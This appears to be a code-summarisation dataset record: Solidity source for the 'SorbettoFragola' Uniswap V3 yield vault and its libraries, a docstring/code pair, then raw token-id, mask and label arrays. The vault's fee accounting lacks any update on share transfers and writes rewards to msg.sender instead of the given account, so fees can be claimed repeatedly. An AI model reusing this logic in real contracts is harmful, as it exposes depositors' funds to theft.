/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
/// @notice Returns x + y, reverts if sum overflows uint128
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add128(uint128 x, uint128 y) internal pure returns (uint128 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub128(uint128 x, uint128 y) internal pure returns (uint128 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul128(uint128 x, uint128 y) internal pure returns (uint128 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if sum overflows uint128
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add160(uint160 x, uint160 y) internal pure returns (uint160 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub160(uint160 x, uint160 y) internal pure returns (uint160 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul160(uint160 x, uint160 y) internal pure returns (uint160 z) {
require(x == 0 || (z = x * y) / x == y);
}
}
pragma solidity >=0.5.0;
/// @title Functions based on Q64.96 sqrt price and liquidity
/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas
library SqrtPriceMath {
using LowGasSafeMath for uint256;
using SafeCast for uint256;
/// @notice Gets the next sqrt price given a delta of token0
/// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the
/// price less in order to not send too much output.
/// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),
/// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).
/// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token0 to add or remove from virtual reserves
/// @param add Whether to add or remove the amount of token0
/// @return The price after adding or removing amount, depending on add
function getNextSqrtPriceFromAmount0RoundingUp(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price
if (amount == 0) return sqrtPX96;
uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;
if (add) {
uint256 product;
if ((product = amount * sqrtPX96) / amount == sqrtPX96) {
uint256 denominator = numerator1 + product;
if (denominator >= numerator1)
// always fits in 160 bits
return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));
}
return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));
} else {
uint256 product;
// if the product overflows, we know the denominator underflows
// in addition, we must check that the denominator does not underflow
require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);
uint256 denominator = numerator1 - product;
return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();
}
}
/// @notice Gets the next sqrt price given a delta of token1
/// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the
/// price less in order to not send too much output.
/// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity
/// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token1 to add, or remove, from virtual reserves
/// @param add Whether to add, or remove, the amount of token1
/// @return The price after adding or removing `amount`
function getNextSqrtPriceFromAmount1RoundingDown(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// if we're adding (subtracting), rounding down requires rounding the quotient down (up)
// in both cases, avoid a mulDiv for most inputs
if (add) {
uint256 quotient =
(
amount <= type(uint160).max
? (amount << FixedPoint96.RESOLUTION) / liquidity
: FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)
);
return uint256(sqrtPX96).add(quotient).toUint160();
} else {
uint256 quotient =
(
amount <= type(uint160).max
? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)
: FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)
);
require(sqrtPX96 > quotient);
// always fits 160 bits
return uint160(sqrtPX96 - quotient);
}
}
}
pragma solidity >=0.6.0;
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
pragma solidity ^0.7.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "RC");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity =0.7.6;
/// @title Interface for WETH9
interface IWETH9 is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
}
pragma solidity 0.7.6;
/// @title Sorbetto Fragola is a yield enchancement v3 contract
/// @dev Sorbetto fragola is a Uniswap V3 yield enchancement contract which acts as
/// intermediary between the user who wants to provide liquidity to specific pools
/// and earn fees from such actions. The contract ensures that user position is in
/// range and earns maximum amount of fees available at current liquidity utilization
/// rate.
contract SorbettoFragola is ERC20Permit, ReentrancyGuard, ISorbettoFragola {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint160;
using LowGasSafeMath for uint128;
using UnsafeMath for uint256;
using SafeCast for uint256;
using PoolVariables for IUniswapV3Pool;
using PoolActions for IUniswapV3Pool;
//Any data passed through by the caller via the IUniswapV3PoolActions#mint call
struct MintCallbackData {
address payer;
}
//Any data passed through by the caller via the IUniswapV3PoolActions#swap call
struct SwapCallbackData {
bool zeroForOne;
}
// Info of each user
struct UserInfo {
uint256 token0Rewards; // The amount of fees in token 0
uint256 token1Rewards; // The amount of fees in token 1
uint256 token0PerSharePaid; // Token 0 reward debt
uint256 token1PerSharePaid; // Token 1 reward debt
}
/// @notice Emitted when user adds liquidity
/// @param sender The address that minted the liquidity
/// @param liquidity The amount of liquidity added by the user to position
/// @param amount0 How much token0 was required for the added liquidity
/// @param amount1 How much token1 was required for the added liquidity
event Deposit(
address indexed sender,
uint256 liquidity,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when user withdraws liquidity
/// @param sender The address that minted the liquidity
/// @param shares of liquidity withdrawn by the user from the position
/// @param amount0 How much token0 was required for the added liquidity
/// @param amount1 How much token1 was required for the added liquidity
event Withdraw(
address indexed sender,
uint256 shares,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees was collected from the pool
/// @param feesFromPool0 Total amount of fees collected in terms of token 0
/// @param feesFromPool1 Total amount of fees collected in terms of token 1
/// @param usersFees0 Total amount of fees collected by users in terms of token 0
/// @param usersFees1 Total amount of fees collected by users in terms of token 1
event CollectFees(
uint256 feesFromPool0,
uint256 feesFromPool1,
uint256 usersFees0,
uint256 usersFees1
);
/// @notice Emitted when sorbetto fragola changes the position in the pool
/// @param tickLower Lower price tick of the positon
/// @param tickUpper Upper price tick of the position
/// @param amount0 Amount of token 0 deposited to the position
/// @param amount1 Amount of token 1 deposited to the position
event Rerange(
int24 tickLower,
int24 tickUpper,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when user collects his fee share
/// @param sender User address
/// @param fees0 Exact amount of fees claimed by the users in terms of token 0
/// @param fees1 Exact amount of fees claimed by the users in terms of token 1
event RewardPaid(
address indexed sender,
uint256 fees0,
uint256 fees1
);
/// @notice Shows current Sorbetto's balances
/// @param totalAmount0 Current token0 Sorbetto's balance
/// @param totalAmount1 Current token1 Sorbetto's balance
event Snapshot(uint256 totalAmount0, uint256 totalAmount1);
event TransferGovernance(address indexed previousGovernance, address indexed newGovernance);
/// @notice Prevents calls from users
modifier onlyGovernance {
require(msg.sender == governance, "OG");
_;
}
mapping(address => UserInfo) public userInfo; // Info of each user that provides liquidity tokens.
/// @inheritdoc ISorbettoFragola
address public immutable override token0;
/// @inheritdoc ISorbettoFragola
address public immutable override token1;
// WETH address
address public immutable weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// @inheritdoc ISorbettoFragola
int24 public immutable override tickSpacing;
uint24 immutable GLOBAL_DIVISIONER = 1e6; // for basis point (0.0001%)
// @inheritdoc ISorbettoFragola
IUniswapV3Pool public override pool;
// Accrued protocol fees in terms of token0
uint256 public accruedProtocolFees0;
// Accrued protocol fees in terms of token1
uint256 public accruedProtocolFees1;
// Total lifetime accrued users fees in terms of token0
uint256 public usersFees0;
// Total lifetime accrued users fees in terms of token1
uint256 public usersFees1;
// intermediate variable for user fee token0 calculation
uint256 public token0PerShareStored;
// intermediate variable for user fee token1 calculation
uint256 public token1PerShareStored;
// Address of the Sorbetto's owner
address public governance;
// Pending to claim ownership address
address public pendingGovernance;
//Sorbetto fragola settings address
address public strategy;
// Current tick lower of sorbetto pool position
int24 public override tickLower;
// Current tick higher of sorbetto pool position
int24 public override tickUpper;
// Checks if sorbetto is initialized
bool public finalized;
/**
* @dev After deploying, strategy can be set via `setStrategy()`
* @param _pool Underlying Uniswap V3 pool with fee = 3000
* @param _strategy Underlying Sorbetto Strategy for Sorbetto settings
*/
constructor(
address _pool,
address _strategy
) ERC20("Popsicle LP V3 WBTC/USDC", "PLP") ERC20Permit("Popsicle LP V3 WBTC/USDC") {
pool = IUniswapV3Pool(_pool);
strategy = _strategy;
token0 = pool.token0();
token1 = pool.token1();
tickSpacing = pool.tickSpacing();
governance = msg.sender;
}
//initialize strategy
function init() external onlyGovernance {
require(!finalized, "F");
finalized = true;
int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier();
( , int24 currentTick, , , , , ) = pool.slot0();
int24 tickFloor = PoolVariables.floor(currentTick, tickSpacing);
tickLower = tickFloor - baseThreshold;
tickUpper = tickFloor + baseThreshold;
PoolVariables.checkRange(tickLower, tickUpper); //check ticks also for overflow/underflow
}
/// @inheritdoc ISorbettoFragola
function deposit(
uint256 amount0Desired,
uint256 amount1Desired
)
external
payable
override
nonReentrant
checkDeviation
updateVault(msg.sender)
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
require(amount0Desired > 0 && amount1Desired > 0, "ANV");
uint128 liquidityLast = pool.positionLiquidity(tickLower, tickUpper);
// compute the liquidity amount
uint128 liquidity = pool.liquidityForAmounts(amount0Desired, amount1Desired, tickLower, tickUpper);
(amount0, amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
liquidity,
abi.encode(MintCallbackData({payer: msg.sender})));
shares = _calcShare(liquidity, liquidityLast);
_mint(msg.sender, shares);
refundETH();
emit Deposit(msg.sender, shares, amount0, amount1);
}
/// @inheritdoc ISorbettoFragola
function withdraw(
uint256 shares
)
external
override
nonReentrant
checkDeviation
updateVault(msg.sender)
returns (
uint256 amount0,
uint256 amount1
)
{
require(shares > 0, "S");
(amount0, amount1) = pool.burnLiquidityShare(tickLower, tickUpper, totalSupply(), shares, msg.sender);
// Burn shares
_burn(msg.sender, shares);
emit Withdraw(msg.sender, shares, amount0, amount1);
}
/// @inheritdoc ISorbettoFragola
function rerange() external override nonReentrant checkDeviation updateVault(address(0)) {
//Burn all liquidity from pool to rerange for Sorbetto's balances.
pool.burnAllLiquidity(tickLower, tickUpper);
// Emit snapshot to record balances
uint256 balance0 = _balance0();
uint256 balance1 = _balance1();
emit Snapshot(balance0, balance1);
int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier();
//Get exact ticks depending on Sorbetto's balances
(tickLower, tickUpper) = pool.getPositionTicks(balance0, balance1, baseThreshold, tickSpacing);
//Get Liquidity for Sorbetto's balances
uint128 liquidity = pool.liquidityForAmounts(balance0, balance1, tickLower, tickUpper);
// Add liquidity to the pool
(uint256 amount0, uint256 amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
liquidity,
abi.encode(MintCallbackData({payer: address(this)})));
emit Rerange(tickLower, tickUpper, amount0, amount1);
}
/// @inheritdoc ISorbettoFragola
function rebalance() external override onlyGovernance nonReentrant checkDeviation updateVault(address(0)) {
//Burn all liquidity from pool to rerange for Sorbetto's balances.
pool.burnAllLiquidity(tickLower, tickUpper);
//Calc base ticks
(uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0();
PoolVariables.Info memory cache =
PoolVariables.Info(0, 0, 0, 0, 0, 0, 0);
int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier();
(cache.tickLower, cache.tickUpper) = PoolVariables.baseTicks(currentTick, baseThreshold, tickSpacing);
cache.amount0Desired = _balance0();
cache.amount1Desired = _balance1();
emit Snapshot(cache.amount0Desired, cache.amount1Desired);
// Calc liquidity for base ticks
cache.liquidity = pool.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper);
// Get exact amounts for base ticks
(cache.amount0, cache.amount1) = pool.amountsForLiquidity(cache.liquidity, cache.tickLower, cache.tickUpper);
// Get imbalanced token
bool zeroForOne = PoolVariables.amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1);
// Calculate the amount of imbalanced token that should be swapped. Calculations strive to achieve one to one ratio
int256 amountSpecified =
zeroForOne
? int256(cache.amount0Desired.sub(cache.amount0).unsafeDiv(2))
: int256(cache.amount1Desired.sub(cache.amount1).unsafeDiv(2)); // always positive. "overflow" safe convertion cuz we are dividing by 2
// Calculate Price limit depending on price impact
uint160 exactSqrtPriceImpact = sqrtPriceX96.mul160(ISorbettoStrategy(strategy).priceImpactPercentage() / 2) / GLOBAL_DIVISIONER;
uint160 sqrtPriceLimitX96 = zeroForOne ? sqrtPriceX96.sub160(exactSqrtPriceImpact) : sqrtPriceX96.add160(exactSqrtPriceImpact);
//Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit
pool.swap(
address(this),
zeroForOne,
amountSpecified,
sqrtPriceLimitX96,
abi.encode(SwapCallbackData({zeroForOne: zeroForOne}))
);
(sqrtPriceX96, currentTick, , , , , ) = pool.slot0();
// Emit snapshot to record balances
cache.amount0Desired = _balance0();
cache.amount1Desired = _balance1();
emit Snapshot(cache.amount0Desired, cache.amount1Desired);
//Get exact ticks depending on Sorbetto's new balances
(tickLower, tickUpper) = pool.getPositionTicks(cache.amount0Desired, cache.amount1Desired, baseThreshold, tickSpacing);
cache.liquidity = pool.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, tickLower, tickUpper);
// Add liquidity to the pool
(cache.amount0, cache.amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
cache.liquidity,
abi.encode(MintCallbackData({payer: address(this)})));
emit Rerange(tickLower, tickUpper, cache.amount0, cache.amount1);
}
// Calcs user share depending on deposited amounts
function _calcShare(uint128 liquidity, uint128 liquidityLast)
internal
view
returns (
uint256 shares
)
{
shares = totalSupply() == 0 ? uint256(liquidity) : uint256(liquidity).mul(totalSupply()).unsafeDiv(uint256(liquidityLast));
}
/// @dev Amount of token0 held as unused balance.
function _balance0() internal view returns (uint256) {
return IERC20(token0).balanceOf(address(this));
}
/// @dev Amount of token1 held as unused balance.
function _balance1() internal view returns (uint256) {
return IERC20(token1).balanceOf(address(this));
}
/// @dev collects fees from the pool
function _earnFees() internal returns (uint256 userCollect0, uint256 userCollect1) {
// Do zero-burns to poke the Uniswap pools so earned fees are updated
pool.burn(tickLower, tickUpper, 0);
(uint256 collect0, uint256 collect1) =
pool.collect(
address(this),
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
// Calculate protocol's and users share of fees
uint256 feeToProtocol0 = collect0.mul(ISorbettoStrategy(strategy).protocolFee()).unsafeDiv(GLOBAL_DIVISIONER);
uint256 feeToProtocol1 = collect1.mul(ISorbettoStrategy(strategy).protocolFee()).unsafeDiv(GLOBAL_DIVISIONER);
accruedProtocolFees0 = accruedProtocolFees0.add(feeToProtocol0);
accruedProtocolFees1 = accruedProtocolFees1.add(feeToProtocol1);
userCollect0 = collect0.sub(feeToProtocol0);
userCollect1 = collect1.sub(feeToProtocol1);
usersFees0 = usersFees0.add(userCollect0);
usersFees1 = usersFees1.add(userCollect1);
emit CollectFees(collect0, collect1, usersFees0, usersFees1);
}
/// @notice Returns current Sorbetto's position in pool
function position() external view returns (uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1) {
bytes32 positionKey = PositionKey.compute(address(this), tickLower, tickUpper);
(liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128, tokensOwed0, tokensOwed1) = pool.positions(positionKey);
}
/// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.
/// @dev In the implementation you must pay to the pool for the minted liquidity.
/// @param amount0 The amount of token0 due to the pool for the minted liquidity
/// @param amount1 The amount of token1 due to the pool for the minted liquidity
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call
function uniswapV3MintCallback(
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
require(msg.sender == address(pool), "FP");
MintCallbackData memory decoded = abi.decode(data, (MintCallbackData));
if (amount0 > 0) pay(token0, decoded.payer, msg.sender, amount0);
if (amount1 > 0) pay(token1, decoded.payer, msg.sender, amount1);
}
/// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap.
/// @dev In the implementation you must pay to the pool for swap.
/// @param amount0 The amount of token0 due to the pool for the swap
/// @param amount1 The amount of token1 due to the pool for the swap
/// @param _data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0,
int256 amount1,
bytes calldata _data
) external {
require(msg.sender == address(pool), "FP");
require(amount0 > 0 || amount1 > 0); // swaps entirely within 0-liquidity regions are not supported
SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData));
bool zeroForOne = data.zeroForOne;
if (zeroForOne) pay(token0, address(this), msg.sender, uint256(amount0));
else pay(token1, address(this), msg.sender, uint256(amount1));
}
/// @param token The token to pay
/// @param payer The entity that must pay
/// @param recipient The entity that will receive payment
/// @param value The amount to pay
function pay(
address token,
address payer,
address recipient,
uint256 value
) internal {
if (token == weth && address(this).balance >= value) {
// pay with WETH9
IWETH9(weth).deposit{value: value}(); // wrap only what is needed to pay
IWETH9(weth).transfer(recipient, value);
} else if (payer == address(this)) {
// pay with tokens already in the contract (for the exact input multihop case)
TransferHelper.safeTransfer(token, recipient, value);
} else {
// pull payment
TransferHelper.safeTransferFrom(token, payer, recipient, value);
}
}
/**
* @notice Used to withdraw accumulated protocol fees.
*/
function collectProtocolFees(
uint256 amount0,
uint256 amount1
) external nonReentrant onlyGovernance updateVault(address(0)) {
require(accruedProtocolFees0 >= amount0, "A0F");
require(accruedProtocolFees1 >= amount1, "A1F");
uint256 balance0 = _balance0();
uint256 balance1 = _balance1();
if (balance0 >= amount0 && balance1 >= amount1)
{
if (amount0 > 0) pay(token0, address(this), msg.sender, amount0);
if (amount1 > 0) pay(token1, address(this), msg.sender, amount1);
}
else
{
uint128 liquidity = pool.liquidityForAmounts(amount0, amount1, tickLower, tickUpper);
pool.burnExactLiquidity(tickLower, tickUpper, liquidity, msg.sender);
}
accruedProtocolFees0 = accruedProtocolFees0.sub(amount0);
accruedProtocolFees1 = accruedProtocolFees1.sub(amount1);
emit RewardPaid(msg.sender, amount0, amount1);
}
/**
* @notice Used to withdraw accumulated user's fees.
*/
function collectFees(uint256 amount0, uint256 amount1) external nonReentrant updateVault(msg.sender) {
UserInfo storage user = userInfo[msg.sender];
require(user.token0Rewards >= amount0, "A0R");
require(user.token1Rewards >= amount1, "A1R");
uint256 balance0 = _balance0();
uint256 balance1 = _balance1();
if (balance0 >= amount0 && balance1 >= amount1) {
if (amount0 > 0) pay(token0, address(this), msg.sender, amount0);
if (amount1 > 0) pay(token1, address(this), msg.sender, amount1);
}
else {
uint128 liquidity = pool.liquidityForAmounts(amount0, amount1, tickLower, tickUpper);
(amount0, amount1) = pool.burnExactLiquidity(tickLower, tickUpper, liquidity, msg.sender);
}
user.token0Rewards = user.token0Rewards.sub(amount0);
user.token1Rewards = user.token1Rewards.sub(amount1);
emit RewardPaid(msg.sender, amount0, amount1);
}
// Function modifier that calls update fees reward function
modifier updateVault(address account) {
_updateFeesReward(account);
_;
}
// Function modifier that checks if price has not moved a lot recently.
// This mitigates price manipulation during rebalance and also prevents placing orders
// when it's too volatile.
modifier checkDeviation() {
pool.checkDeviation(ISorbettoStrategy(strategy).maxTwapDeviation(), ISorbettoStrategy(strategy).twapDuration());
_;
}
// Updates user's fees reward
function _updateFeesReward(address account) internal {
uint liquidity = pool.positionLiquidity(tickLower, tickUpper);
if (liquidity == 0) return; // we can't poke when liquidity is zero
(uint256 collect0, uint256 collect1) = _earnFees();
token0PerShareStored = _tokenPerShare(collect0, token0PerShareStored);
token1PerShareStored = _tokenPerShare(collect1, token1PerShareStored);
if (account != address(0)) {
UserInfo storage user = userInfo[msg.sender];
user.token0Rewards = _fee0Earned(account, token0PerShareStored);
user.token0PerSharePaid = token0PerShareStored;
user.token1Rewards = _fee1Earned(account, token1PerShareStored);
user.token1PerSharePaid = token1PerShareStored;
}
}
// Calculates how much token0 is entitled for a particular user
function _fee0Earned(address account, uint256 fee0PerShare_) internal view returns (uint256) {
UserInfo memory user = userInfo[account];
return
balanceOf(account)
.mul(fee0PerShare_.sub(user.token0PerSharePaid))
.unsafeDiv(1e18)
.add(user.token0Rewards);
}
// Calculates how much token1 is entitled for a particular user
function _fee1Earned(address account, uint256 fee1PerShare_) internal view returns (uint256) {
UserInfo memory user = userInfo[account];
return
balanceOf(account)
.mul(fee1PerShare_.sub(user.token1PerSharePaid))
.unsafeDiv(1e18)
.add(user.token1Rewards);
}
// Calculates how much token is provided per LP token
function _tokenPerShare(uint256 collected, uint256 tokenPerShareStored) internal view returns (uint256) {
uint _totalSupply = totalSupply();
if (_totalSupply > 0) {
return tokenPerShareStored
.add(
collected
.mul(1e18)
.unsafeDiv(_totalSupply)
);
}
return tokenPerShareStored;
}
/// @notice Refunds any ETH balance held by this contract to the `msg.sender`
/// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps
/// that use ether for the input amount
function refundETH() internal {
if (address(this).balance > 0) TransferHelper.safeTransferETH(msg.sender, address(this).balance);
}
/**
* @notice `setGovernance()` should be called by the existing governance
* address prior to calling this function.
*/
function setGovernance(address _governance) external onlyGovernance {
pendingGovernance = _governance;
}
/**
* @notice Governance address is not updated until the new governance
* address has called `acceptGovernance()` to accept this responsibility.
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "PG");
emit TransferGovernance(governance, pendingGovernance);
pendingGovernance = address(0);
governance = msg.sender;
}
// Sets new strategy contract address for new settings
function setStrategy(address _strategy) external onlyGovernance {
require(_strategy != address(0), "NA");
strategy = _strategy;
}
}
|
intermediate variable for user fee token1 calculation
|
uint256 public token1PerShareStored;
| 452,500 |
[
1,
2761,
6785,
2190,
364,
729,
14036,
1147,
21,
11096,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
1071,
1147,
21,
2173,
9535,
18005,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-08-14
*/
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
